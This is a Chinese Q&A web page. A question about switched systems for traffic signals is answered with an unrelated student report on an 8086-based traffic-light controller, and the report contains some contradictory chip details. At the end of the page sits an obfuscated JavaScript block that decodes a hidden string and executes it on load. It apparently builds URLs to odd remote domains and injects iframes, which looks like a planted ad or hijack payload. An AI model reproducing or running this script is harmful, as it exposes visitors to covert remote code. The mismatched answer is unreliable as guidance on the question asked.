基于切换系统可以用于交通信号的控制吗

2025-03-25 16:46:01
推荐回答(1个)
回答(1):

1 概述 1.1 设计目的(1) 掌握CPU与各芯片管脚连接方法,提高接口扩展硬件电路的连接能力;(2) 通过对交通灯信号自动系统的模拟控制,进一部提高应用8255A并行接口技术,8253定时功能,8259A中断管理控制器的综合应用能力;(3) 掌握基本汇编源程序编制方法,学会综合考虑各种设计方案的对比和论证。 1.2 设计要求 交通信号灯自动控制系统须满足下列要求和功能:(1) 首先车行道亮绿灯45s,同时人行道亮红45s;(2) 45s后,车行道黄灯闪烁3次,亮、灭各1s,此时人行道仍维持红灯;(3) 6s后,转为人行道亮绿灯20s,车行道亮红灯20s;(4) 20s后,再转到第(1)步,如此循环往复;(5) 当有车闯红灯时,能实现报警信号持续3 s的扩展功能。 1.3 设计方法及步骤 1、设计系统硬件部分(1) 先进行方案论证,确定最终采取硬件定时还是软件定时,是查询方式还是中断方式;(2) 在具体甄选设计过程中可能要设计的芯片,分析它们的功能特点,确定它们的工作模式;(3) 按照各芯片的使用特点以及本系统的设计要求逐步连接,画出系统硬件连接图。 2、设计系统的软件部分(1) 先进行程序编制方式的方案论证,讨论分析,确定是采用宏程序调用还是子程序调用模式;(2) 确定本系统设计可能涉及的源程序各个模块,明确各个模块的各自功能,分清它们相互之间的调用关系;(3) 画出各个模块的程序流程图;(4) 依据流程图,编制出交通信号灯自动控制系统的完整汇编源程序。 1.4 设计说明 (1) 本设计采用共阳极的发光二极管模拟对应的交通信号灯的型式,参见后面“系统硬件部分设计”中“总体设计”这一节; (2) 本设计关于有车闯红灯报警的扩展功能,是通过红外线接收装置实现的,具体分析见后面“可编程芯片说明及其地址范围确定”中“8254定时/计数器”这一节; (3) 在本设计的最初方案中,本来是有电子眼拍摄闯红灯车牌号的这一很实用、很现实化的扩展功能的,但由于实现这种功能的电路芯片资料难以搜集,芯片电路连接复杂以及芯片工作模式,工作环境,工作特点的难以确定,最终被舍弃,只留下报警功能; (4) 本设计在很多方面,比如译码器的选择,定时器选型,程序调用方式等等尽量做到不与本组其他成员雷同,程序编制力求简便清晰,硬件连接图在保证每根具体用到的管脚线都能被表示出来的同时,力求线路连接清晰明确,尽量不使线与线之间过于缠绕。 2 方案论证 2.1 软件定时与硬件定时本任务要求交通信号灯能实现自行定时、延时、切换等功能,即能实现交通信号灯自动控制。一般计算机控制系统实现定时或延时有两种基本方法:利用软件定时或使用可编程硬件芯片,即硬件定时。软件定时,即让机器执行一段程序,这个程序没有具体的执行目的,显然利用执行每条指令CPU所花费的时间,可实现延时功能。这种方法容易实现,仅需选用恰当指令并安排循环即可实现,定时时间调整方便,但不能做到精确定时。另外,时间调整是以一条指令执行时间为基准,占用CPU资源,降低CPU利用率。硬件定时,即使用可编程定时/计数器硬件芯片定时。这种芯片内部有一个可编程定时器,其定时值、定时范围可以很容易地由软件程序改变,定时时间到时可发出某种形式的信号通知外设或CPU。定时器的输出频率和波形等均由程序设定,因而使用灵活,功能强。综合软、硬件定时的各种优缺点,考虑到交通信号灯精确换灯的要求,以及交通信号等需要方便、灵活地调整换灯时间等特点,我选用硬件定时来完成任务。 2.2 查询方式与中断方式定时时间到,比如车道绿灯亮45s后需换成黄灯闪烁,完成这一转换工作,有两种工作方式:查询方式和中断方式。查询方式即CPU在与外设传输数据(本设计为8086传输数据给8255A从而控制交通信号灯换灯)前,一直不停检查外设状态,当外设准备好时方传输数据(本设计为8086不断测试8255A状态口PC1,当PC1变为低电平时,表明定时时间到),CPU可传输数据,控制信号灯切换。中断方式可以不让CPU主动去查询外设状态,而是让外设在数据准备好(定时时间到后)之后再通知CPU,CPU继而开始与外设交换数据控制外设工作。显然查询方式相比与中断方式,使CPU利用率大大降低,因为CPU要用大量时间去执行状态查询程序。但考虑到本课程设计的主要目的是控制信号灯切换,即CPU工作最终目的还是与外设传输数据,控制外设工作,即这种状态查询是有必要的,CPU的不间断的状态查询并非多余的,而且查询方式可使指令执行效率提高,指令执行目的更加明确,软件编程更加简便,避免了中断方式繁琐的中断矢量表的建立,中断程序的汇编等等,因而我选用查询方式来实现交通信号灯的自动控制。 2.3 8253定时/计数器与8254 定时/计数器8253和8254都是能实现定时,延时功能的可编程定时计数器,可以轻松地实现所需要的功能。两者的功能与工作方式,工作环境皆类似,区别仅在于8254的工作频率更高,可达到10MHZ。另外,8254比8253还多出回读功能。考虑到本组大多数人都选用8253,为避免重复雷同,我选用8254定时计数器,实际上两者并没多大区别。 2.4 方案确定综上所述,我选用的方案最终为利用可编程计数器8254实现硬件定时,用查询方式控制8086工作,用并行I/O接口8255A实现8086与外设(本设计采用发光二极管模拟交通信号灯)数据交换,用中断控制器8259A实现闯红灯报警的扩展功能。 3 硬件部分设计 3.1 总体设计正如A3图纸系统硬件连接图所示,CPU我选用INTEL公司的8086,它足以满足交通信号灯自动控制系统的功能要求;存储器选用两片型号为6116的静态RAM,一片作为奇片,一片作为偶片,总存储容量可达到4KB,既可以读也可以写,足以满足要求;由于8086CPU有16根地址与数据共用线,故有必要将地址码与数据码分开,8086采用了分时传送的方法,即先传送地址码,再传送数据码,故必须用锁存器将地址码锁存起来。我选用74系列的74LS373作为地址锁存器;由于外设、内存存取数据速度不匹配,故有必要使用缓冲器来暂时记忆存储数据,我选用74系列的74LS245作为数据缓冲器;存储器译码我采用全译码方式,用74LS688比较译码器可减少逻辑组合电路;可编程芯片8255A,8254,8259A的片选信号译码,我采用线译码方式,这样可以保证其端口地址只有8位,易于程序编写。因而74LS138译码器是最好的选择。至于8255A,8254,8259A的选用目的已在前面解释过,这里不再重复。在具体设计该系统时,我选用发光二极管LED来模拟红,黄,绿灯的亮和灭。由于实际生活中只需要10盏灯就可实现车行道,人行道的通行,如图所示,故这里我也选用10支二极管,其对应关系如表所示。LED1-LED5与8255A PA口相连,LED6-LED10与PB口相连。PC1口作为状态查询口,PC6口输出可实现车闯红灯的报警功能。 图1 信号灯和LED对应图 3.2 CPU选型 CPU我选用的是8086,其管脚分配图如图所示。部分管脚采用分时复用方式,构成了40条管脚的双列直插封装,它有两种工作模式,我采用的是最小模式,故33号管脚应接高电平。 8086内部结构由指令执行部件EU和总线接口部件BIU两部分构成。EU负责执行指令,BIU负责取指令,读出操作数和写入结果。两个单元相互独立工作,有效地加快系统的运算速度。 3.3 存储器选型存储器我选用两片6116型号的静态RAM,容量为4KB片选信号与A0相连的是偶片,主要用于低8位数据总线上进行字节传送。与BHE选中的是奇片,主要用于高8位数据总线上字节传送。当A0和BHE都选中的时候,可进行16位数据总线字传送。 图3 6116 RAM存储器管脚图 RAM的主要功能是存储程序、变量等。如果计算机关机,这些信息不再存在。本电路中,A12-A19作为片选信号,均为低电平。故存储范围为0H-0FFFH。    3.4 可编程芯片说明及其地址范围确定 3.4.1 8254定时/计数器及其地址范围8254与8253功能类似,但8254工作频率更高,可达10MHZ,且8254还可进行回读,但这一功能在本设计中用不上,因而对8254的说明也可看作是对8253的介绍,事实上两者管脚图接近完全相同。 8254芯片包含3个功能完全相同的计数通道,称为通道0,通道1,通道2,有6种工作方式。本设计要求实现的最大45s,故必须采用两个计数器级联方式,工作在方式2分频功能。另一个计数器1工作在方式5,OUT1门产生中断,实现闯红灯报警3s的功能。三个计数器具体连接图如A3图纸硬件连接图所示,CLK0,CLK1都通入1.2MHZ的脉冲。OUT0与CLK2端相连,均工作在方式2分频,由OUT2门产生低电平作为状态信号实现延时功能。计数器1工作在方式5,GATE1门上升沿触发。如图3所示,当车行道红灯时,则开中断。当有车闯红灯时,就会阻挡安装在人行道上的红外线发射和接受装置的光线,接收装置可将光信号变为电信号的一个脉冲,通入GATE1门,上升沿触发,在OUT1门输出低电平,将此电平通过非门后连在8259A的IR1端,则可以产生中断。经过中断处理便可以控制相关芯片发出3s的报警信号。当然,在车行道绿灯时,应关中断。  图5 车闯红灯报警信号图 8254的端口地址可由硬件连接图确定,由图可知,8254片选信号由Y2引出,并与A0组成逻辑电路,输出口送入8254的 端。其地址可由上表可看出,为40-46H中偶地址。 3.4.2 8255A并行I/O接口及其地址范围8255A是一个标准的40管脚芯片,它有3个数据端口,分别为PA口,PB口,PC口。每个端口有8位。8255A有3种工作方式。本设计选用最简单的方式0——基本输入/输出方式。      本设计用到了PA,PB口,它们分别作为发光二极管的并行输出接口。由于发光二极管,由于二极管为共阳极,故当PA,PB输出为0(低电平)时,相应二极管才会亮。另外,PC1口作为状态查询口,于8254 OUT2门相连,当PC1输入为0时,表示定时时间到,可交换数据。PC6口作为输出口,作为报警信号的端口。这些在软件编程时要格外注意,将决定各端口控制字的选择和确定。8255A端口地址可硬件连接图确定,由图可知,8255A片选信号由Y3引出,并与A0组成逻辑组合电路,作为8255A 信号。其地址可由右表看出,为60H-66H中偶地址。  3.4.3 8259A中断控制及其地址范围 8259A可编程芯片中断控制器(PIC)称为优先权控制器,它可为CPU处理8级向量中断。本设计中,中断控制器用于扩展电路的报警功能。由硬件图可知,OUT1门低电平经过非门送入IR1端,故其为高电平有效的电平触发方式。  8259A的端口地址可由硬件图确定。由图可知,8259A片选信号由Y4引出,并与A0,A2组成逻辑电路,作为8259A 信号。其地址可由右表看出为80H-82H中偶地址。 3.5 其它选用芯片说明 3.5.1 地址锁存器74LS373 在8086系统中,地址线和数据线时复用的,故有必要锁存地址。74LS373管脚及功能图如图所示。其数据送入是由时钟的约定电平来进行的。 E为低电平时,锁存器才能工作。 3.5.2 数据缓冲器74LS245 74LS245是带三态输出的8位双向数据缓冲器,专用于需要双向传输的 数据总线接口。它其实也是一个三态门, 为输出使能端, G为低电平时,缓冲器才能工作,M为传输方向控制端。事实上,在8086最小模式时,由于锁存器的作用,数据缓冲器并不是必要的。 3.5.3译码器 3.5.3.1比较译码器74LS688在存储器扩展时,我选用74LS688作为译码器,其一是为了在全译码时减少组合逻辑电路,二是为了与本组其他成员相区别。74LS688作译码器时, 必须为低电平,且当且仅当对应的8个输入端P与8个输入端Q相等时, 才会输出低电平。利用这一特性将 低电平作为存储器的片选信号,可实现其译码片选功能。 由硬件连接图可知,在设计中,我将8个输入端Q全部接地,即低电平,保证了存储器高8位全部为0。实现了存储器从最低地址0H-0FFFH,4KB的存储容量。3.5.3.2 74LS138译码器74LS138译码器是译码电路中最常用的,在本设计中我也选用74LS138译码器产生8255A,8254,8259A三个芯片的片选信号,如果选用比较译码器74LS688则需要三片,既增加了芯片数量,也增加了电路消耗,同时占用了过多的空间,使线路连接更加复杂,更不直观。由于74LS138的功能及工作模式熟知,这里不再赘述。 3.5.4时钟发生器8284A8284A是用于8086(或8088)系统的时钟发生器/驱动芯片,它为8086(或8088)以及其他芯片提供所需的信号。8284A由三部分电路组成:时钟信号发生器,复位生成电路和就绪控制电路。下图是8284A的管脚图。 3.5.5 D触发器 D触发器的工作原理是在CP端脉冲上升沿触发翻转技术,在本电路中,主要用于分频。其将CP端脉冲频率减半,那么为什么要减半频率呢? 原因是8253的最高工作频率只有2MHZ,因此必须将2.4MHZ脉冲频率减半8253才能工作。因此,在我选用的8254定时/计数器电路中D触发器并不是必要的了,甚至可以完全省去不用,因为8253最高工作频率可达到10MHZ,但为了避免频率过大导致45最长延时时,写入的数据过大,我还是加上了D触发器,无非是为了简化后面的软件编程。 3.5.6 7407驱动器 7407TTL集电极开路六正相高压驱动器,其管脚图如下。 3.5.7 功率放大器PWN-2401-EW该放大器是上海迈高网络技术有限公司生产的,主要工作2.4GHZ ISM频段的WLAN设置的覆盖范围。 4 软件总体设计说明 4.1 系统软件部分说明 4.1.1 宏调用与子程序调用设计延时程序可采用两种方法,一种是子程序调用形式,另一种是宏调用形式。宏调用形式是在汇编期间的,调用一次一次,因此它占用的存储空间与调用的次数有关,调用次数越多,占用存储空间越大。宏指令的使用简化源程序,但并不节省内存单元。子程序是在程序运行期间由主程序调用,在目标代码中只占用它自身内存空间,因而汇编后目标代码少,节省内存空间。但子程序调用每调用一次就要保护断点,保护现场;返回后又恢复现场,恢复断点,增加了额外时间,因此执行时间长,速度慢。宏指令则可免去这些开销,更重要的是,宏调用时用实元取代哑元,调整灵活,程序大大缩减,可读性和可移植性大大提高。综上所述,我采用宏调用形式,宏程序专门编制待定延时程序,主程序则顺序换灯、循环,而每个过程灯亮时间由宏程序保证。在整个程序的运行期间若发生中断(有车闯红灯),则由中断程序完成相应功能。当然,主程序中也必要包含中断矢量表的建立程序。因而,我所编制的程序由三部分组成:主程序、宏调用程序和中断服务子程序。下面将一一介绍,并且画出其流程图。4.1.2 各时间参数的计算本设计中涉及的时间参数有:车行道绿灯时间45s,车行道红灯时间20s,车行道黄灯亮、灭的时间各一秒,报警器报警持续时间3s。由于8254 CLK端时钟频率为1.2MHZ,计数器0和计数器2级联按6000×200方式分频,即计数器0写入6000时,在计数器2 CLK2中会有200HZ脉冲。对于1s,需对计数器2写入时间参数TIME1=200;对于3s,TIME2=600;对于20s,TIME3=4000;对于45s,TIME4=9000,都不超过10000,故均可按BCD码写入。 4.2 主程序说明及其流程图主程序主要实现两项功能:一是填写中断入口地址表,为中断服务提供必要准备;二是实现换灯,循环。其流程图见下图。 4.3 宏调用及其流程图宏程序的功能是实现准确的定时和延时,为主程序中红、黄、绿灯的亮、灭时间,中断服务程序的报警信号持续时间服务。当然,在宏程序中应当特别注意一些寄存器,变量,地址等保护工作,这就需要堆栈。其流程图见下图。 6 参考文献[1] 张玉清,王春玲.IBM PC 微型计算机原理与接口技术.人民邮电出版社,1997[2] 彭虎,周佩玲,傅忠谦.微机原理与接口技术(第二版).电子工业出版社,2008[3] 王永山.IBM PC汇编语言程序设计和接口技术.西安电子科技大学出版社,1989

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();